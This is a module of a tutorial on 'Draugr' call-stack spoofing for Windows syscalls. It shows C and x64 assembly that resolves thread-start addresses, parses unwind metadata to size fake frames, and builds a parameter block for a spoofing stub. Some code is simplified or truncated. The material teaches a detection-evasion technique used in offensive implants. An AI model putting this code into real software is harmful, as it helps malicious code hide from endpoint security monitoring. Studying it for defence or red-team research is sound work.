Module 5: The Spoof Assembly Routine

Five phases orchestrate the entire stack spoof — from address resolution to cleanup and return.

The Five-Phase Execution Model

Every Draugr syscall passes through five phases in strict order. If any phase fails, the syscall cannot proceed safely. The macro DRAUGR_SYSCALL triggers this entire pipeline.

Phase 1: DraugrInit — Address Resolution

Before any stack spoofing can happen, Draugr must resolve three specific addresses. These addresses form the foundation of the entire fake call stack.

C - DraugrInit (simplified)BOOL DraugrInit(PDRAUGR_CONFIG config) {
    // Resolve kernel32!BaseThreadInitThunk
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    FARPROC pBaseThreadInit = GetProcAddress(hKernel32,
                                  "BaseThreadInitThunk");
    config->BaseThreadInitThunk_Addr = (ULONG_PTR)pBaseThreadInit + 0x14;

    // Resolve ntdll!RtlUserThreadStart
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    FARPROC pRtlUserThread = GetProcAddress(hNtdll,
                                  "RtlUserThreadStart");
    config->RtlUserThreadStart_Addr = (ULONG_PTR)pRtlUserThread + 0x21;

    // Resolve kernelbase.dll base for gadget scanning
    config->KernelBase_Addr = (ULONG_PTR)GetModuleHandleA(
                                  "kernelbase.dll");

    return TRUE;
}

Phase 2: Stack Size Calculation

Each synthetic frame must be exactly the right size. If the frame for BaseThreadInitThunk is even one byte off, the stack unwinder will misalign and produce garbage frames. Draugr calculates these sizes by parsing the same UNWIND_CODE metadata that Windows uses internally.

Step 1: Get RUNTIME_FUNCTION

DraugrWrapperStackSize calls RtlLookupFunctionEntry to retrieve the RUNTIME_FUNCTION structure for the target function. This structure points to the function's UNWIND_INFO, which contains the UNWIND_CODE array.

C - DraugrWrapperStackSizeDWORD DraugrWrapperStackSize(ULONG_PTR functionAddr) {
    ULONG_PTR imageBase = 0;

    // RtlLookupFunctionEntry retrieves the RUNTIME_FUNCTION
    // for any address within an x64 function
    PRUNTIME_FUNCTION pRuntimeFunc = RtlLookupFunctionEntry(
        functionAddr,
        &imageBase,
        NULL    // HistoryTable - not needed
    );

    if (!pRuntimeFunc) return 0;

    // Parse the UNWIND_INFO to calculate total frame size
    return DraugrCalculateStackSize(imageBase, pRuntimeFunc);
}

Step 2: Parse UNWIND_CODEs

DraugrCalculateStackSize iterates through the UNWIND_CODE array and accumulates the total bytes that the function's prologue allocates on the stack. Each opcode type contributes a different amount.

C - DraugrCalculateStackSize (core logic)DWORD DraugrCalculateStackSize(ULONG_PTR imageBase,
                                PRUNTIME_FUNCTION pFunc)
{
    DWORD totalSize = 0;

    // Get UNWIND_INFO from RUNTIME_FUNCTION
    PUNWIND_INFO pUnwindInfo = (PUNWIND_INFO)(
        imageBase + pFunc->UnwindInfoAddress
    );

    DWORD i = 0;
    while (i < pUnwindInfo->CountOfCodes) {
        UNWIND_CODE code = pUnwindInfo->UnwindCode[i];

        switch (code.UnwindOp) {
            case UWOP_PUSH_NONVOL:     // push reg
                totalSize += 8;        // Each push = 8 bytes on x64
                i += 1;
                break;

            case UWOP_ALLOC_SMALL:     // sub rsp, N (small)
                totalSize += (code.OpInfo * 8) + 8;
                i += 1;
                break;

            case UWOP_ALLOC_LARGE:     // sub rsp, N (large)
                if (code.OpInfo == 0) {
                    // Next slot contains size / 8
                    totalSize += pUnwindInfo->UnwindCode[i+1].FrameOffset * 8;
                    i += 2;
                } else {
                    // Next TWO slots contain raw 32-bit size
                    DWORD rawSize = *(DWORD*)&pUnwindInfo->UnwindCode[i+1];
                    totalSize += rawSize;
                    i += 3;
                }
                break;

            default:
                i += 1;  // Skip unrecognized opcodes
                break;
        }
    }

    // Handle chained unwind info (UNW_FLAG_CHAININFO)
    if (pUnwindInfo->Flags & UNW_FLAG_CHAININFO) {
        // Chained RUNTIME_FUNCTION follows the UNWIND_CODE array
        PRUNTIME_FUNCTION pChained = /* next aligned RUNTIME_FUNCTION */;
        totalSize += DraugrCalculateStackSize(imageBase, pChained);
    }

    // Add 8 bytes for the return address pushed by CALL
    totalSize += 8;

    return totalSize;
}

The PRM (Parameter) Structure

The PRM structure is the central data package passed between the C orchestration code and the Spoof assembly routine. It carries everything the assembly needs to build the synthetic stack, execute the syscall, and clean up afterward.

Register Preservation

The x64 Windows calling convention designates certain registers as non-volatile (callee-saved). Any function that modifies these registers must restore them before returning. Since the Spoof routine manipulates the entire stack and register state, it must save and restore all non-volatile registers to maintain correctness.

ASM - Spoof() entry (from Stub.s)Spoof:
    ; RCX = pointer to PRM structure
    mov  rbx, rcx              ; RBX = &PRM (persists across syscall)

    ; Save the original return address
    mov  rax, [rsp]            ; RAX = return address on stack
    mov  [rbx + 0x08], rax     ; PRM.OG_retaddr = return address

    ; Save all non-volatile registers into PRM
    mov  [rbx + 0x10], rdi     ; PRM.saved_rdi
    mov  [rbx + 0x18], rsi     ; PRM.saved_rsi
    mov  [rbx + 0x20], r12     ; PRM.saved_r12
    mov  [rbx + 0x28], r13     ; PRM.saved_r13
    mov  [rbx + 0x30], r14     ; PRM.saved_r14
    mov  [rbx + 0x38], r15     ; PRM.saved_r15

    ; ... Phase 4 continues: build synthetic stack ...

Putting It All Together

Here is the complete data flow from the DRAUGR_SYSCALL macro to the Spoof assembly entry point:

C - DraugrCall (simplified)NTSTATUS DraugrCall(PDRAUGR_CONFIG config, PVX_TABLE_ENTRY entry,
                     DWORD argc, ...)
{
    PRM prm = { 0 };

    // Phase 1 results
    prm.BaseThreadInitThunk_Addr = config->BaseThreadInitThunk_Addr;
    prm.RtlUserThreadStart_Addr  = config->RtlUserThreadStart_Addr;

    // Phase 2 results
    prm.BaseThreadInitThunk_Size = config->BaseThreadInitThunk_FrameSize;
    prm.RtlUserThreadStart_Size  = config->RtlUserThreadStart_FrameSize;

    // Phase 3 result
    prm.Gadget = config->GadgetAddr;

    // SSN and syscall address from VxTable
    prm.SSN          = entry->wSSN;
    prm.SyscallAddr  = entry->pSyscallAddr;

    // Fixup routine address
    prm.Fixup = (ULONG_PTR)&Fixup;

    // Copy function arguments into PRM
    va_list args;
    va_start(args, argc);
    for (DWORD i = 0; i < argc; i++) {
        prm.args[i] = va_arg(args, ULONG_PTR);
    }
    va_end(args);

    // Enter the assembly routine
    return Spoof(&prm);
}